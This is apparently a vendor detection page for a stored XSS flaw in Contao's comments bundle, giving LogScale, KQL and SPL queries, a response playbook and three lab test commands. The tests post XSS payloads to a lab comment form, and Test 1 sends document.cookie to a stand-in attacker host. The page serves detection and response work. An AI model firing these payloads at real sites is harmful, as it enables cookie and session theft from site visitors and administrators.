Skip to content
CVE-2026-107845 CrowdStrike LogScale · LogScale

Detect Contao Comments Bundle Stored XSS (CVE-2026-107845) in CrowdStrike LogScale

Detects exploitation attempts and vulnerable deployments of CVE-2026-107845, a stored cross-site scripting (XSS) vulnerability in the Contao comments-bundle (CWE-79, CWE-116, CVSS 9.3). Affected versions are contao/comments-bundle >= 4.0.0, < 5.3.50 and >= 5.4.0-RC1, < 5.7.12. The comments bundle fails to properly neutralize/encode user-supplied markup in submitted comments, allowing an attacker to persist JavaScript that executes in the browsers of other visitors or back-end administrators reviewing comments. This detection surfaces anomalous comment-submission POST requests carrying script-like payloads, reflected/stored script markers in subsequent page responses, and known-vulnerable Contao versions. Exploit status is theoretical; prioritize patching to 5.3.50 or 5.7.12.

MITRE ATT&CK

Tactic
Initial Access Execution

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
// df00tech DF00-a499ff23f8 · https://df00tech.com/detections/CVE-2026-107845 · licence: https://df00tech.com/detections/licence
#event_simpleName=/HttpRequest|WebRequest/i
| HttpMethod="POST"
| HttpPath=/(comment|\/comments|system\/modules\/comments)/i
| (HttpPath=/(<script|%3Cscript|onerror=|javascript:)/i OR HttpQuery=/(<script|%3Cscript|javascript:|onerror=|onload=|<svg|<img|document\.cookie)/i)
| table([@timestamp, aid, RemoteAddressIP4, HttpMethod, HttpPath, HttpQuery, HttpStatusCode, HttpUserAgent])
| sort(@timestamp, order=desc)
high severity medium confidence

CrowdStrike LogScale/CQL query for Contao comment POSTs carrying XSS markers.

Data Sources

Web Server LogsFalcon LogScale HTTP Events

Required Tables

HttpRequestWebRequest

False Positives & Tuning

  • DAST tooling injecting test XSS strings.
  • Legitimate HTML/JS discussion in comment bodies.
  • Upstream-sanitized payloads still visible in raw logs.

Other platforms for CVE-2026-107845


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Submit stored XSS payload to Contao comment form

    Expected signal: Web server POST log entry to the comment endpoint and a new row in tl_comments containing the raw script markup.

  2. Test 2 Inject event-handler XSS via image tag

    Expected signal: POST to comment endpoint and tl_comments row containing an img tag with an onerror handler.

  3. Test 3 Encoded XSS payload submission

    Expected signal: POST request with URL-encoded script payload recorded in web logs and tl_comments.


Response Playbook

Triage

  1. Confirm the targeted host runs Contao with the comments-bundle and identify its version via `composer show contao/comments-bundle` or the composer.lock file; flag if it is < 5.3.50 (4.x/5.x line) or >= 5.4.0-RC1 and < 5.7.12.
  2. Extract the full submitted comment payload from the web/application logs or the Contao `tl_comments` database table and decode it to determine whether it contains executable script markup.
  3. Determine whether the stored comment has been rendered to other users or back-end admins (check published/approved status in `tl_comments.published`) to assess whether the XSS has actually fired.
  4. Correlate the source IP and user-agent against known scanner fingerprints and prior reconnaissance against the site.

Containment

  1. Unpublish or delete the malicious comment(s) from the Contao back end or directly from the `tl_comments` table, and purge any page/cache fragments containing the stored payload.
  2. Deploy a WAF rule to block POST requests to comment endpoints containing script markup (<script, onerror=, javascript:) until the bundle is patched.
  3. Upgrade contao/comments-bundle to 5.3.50 or 5.7.12 (matching your major line) via `composer update contao/comments-bundle` and rebuild the Contao caches.

Evidence Collection

  1. Preserve raw web server access/POST-body logs, the `tl_comments` rows (including author IP, timestamp, and raw text), and the Contao application log for the affected time window.
  2. Capture the stored payload verbatim and hash it; snapshot the rendered page HTML showing the injected script for the incident record.

Escalation Criteria

  • !Escalate to IR if evidence shows the payload fired in a back-end administrator session (session/cookie theft or admin account actions), indicating potential CMS compromise.
  • !Escalate if the injected script references external C2/credential-harvesting infrastructure or if multiple distinct payloads indicate active, targeted exploitation rather than scanning.

Investigation Guide

Forensic Artifacts

  • >The `tl_comments` database table rows containing the raw, unsanitized comment text and submitter metadata.
  • >Web server access logs and POST body captures showing the submission request.
  • >Contao system log and cached rendered page fragments embedding the injected markup.

Tuning Guidance

Baseline normal comment-submission volume and body content for the site; many false positives come from code/HTML discussion and from security scanners. Narrow the marker set to high-signal patterns (document.cookie, onerror=, <svg/onload) if legitimate comments frequently include literal HTML examples, and allowlist known scanner source IPs. Where POST bodies are available, prefer matching on the actual comment field over the URL query, since Contao submits comments in the request body.


Hunting Queries

Aggregate comment-submission XSS attempts by source IP to distinguish spray scanning from targeted abuse.

Hunting — KQL
kql
// df00tech DF00-a499ff23f8 · https://df00tech.com/detections/CVE-2026-107845 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csMethod == "POST" and csUriStem has "comment" | extend d=url_decode(coalesce(csUriQuery,"")) | where d has_any ("<script","onerror=","document.cookie") | summarize count() by cIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-a499ff23f8 · https://df00tech.com/detections/CVE-2026-107845 · licence: https://df00tech.com/detections/licence ```
index=web method=POST uri_path="*comment*" | eval d=urldecode(uri_query) | search d="*<script*" OR d="*onerror=*" OR d="*document.cookie*" | stats count by src_ip

Atomic Red Team Tests

Test 1 Submit stored XSS payload to Contao comment form
linux

Simulates an attacker posting a comment containing a script payload to a lab Contao instance with the vulnerable comments-bundle.

Command

bash
curl -s -X POST 'http://contao-lab.local/_contao/comment' --data-urlencode 'comment=<script>document.location="http://attacker.lab/c?"+document.cookie</script>' --data-urlencode 'name=tester' --data-urlencode '[email protected]'

Cleanup

bash
mysql contao -e "DELETE FROM tl_comments WHERE email='[email protected]';"

Expected Telemetry

Web server POST log entry to the comment endpoint and a new row in tl_comments containing the raw script markup.

Expected Detection

KQL/SPL rules flag the POST request to the comment endpoint carrying <script and document.cookie markers.

Test 2 Inject event-handler XSS via image tag
linux

Submits a comment using an <img onerror=> handler to bypass naive <script> filters.

Command

bash
curl -s -X POST 'http://contao-lab.local/_contao/comment' --data-urlencode 'comment=<img src=x onerror=alert(document.domain)>' --data-urlencode 'name=qa' --data-urlencode '[email protected]'

Cleanup

bash
mysql contao -e "DELETE FROM tl_comments WHERE email='[email protected]';"

Expected Telemetry

POST to comment endpoint and tl_comments row containing an img tag with an onerror handler.

Expected Detection

Detection rules match the onerror= / <img marker in the request.

Test 3 Encoded XSS payload submission
windows

Submits a URL-encoded script payload to test decoding and detection of obfuscated input.

Command

powershell
powershell -Command "Invoke-WebRequest -Uri 'http://contao-lab.local/_contao/comment' -Method POST -Body @{comment='%3Cscript%3Ealert(1)%3C/script%3E';name='enc';email='[email protected]'}"

Cleanup

powershell
mysql contao -e "DELETE FROM tl_comments WHERE email='[email protected]';"

Expected Telemetry

POST request with URL-encoded script payload recorded in web logs and tl_comments.

Expected Detection

Rules decode the payload (url_decode/urldecode) or match the %3Cscript encoded marker and alert.

Related Detections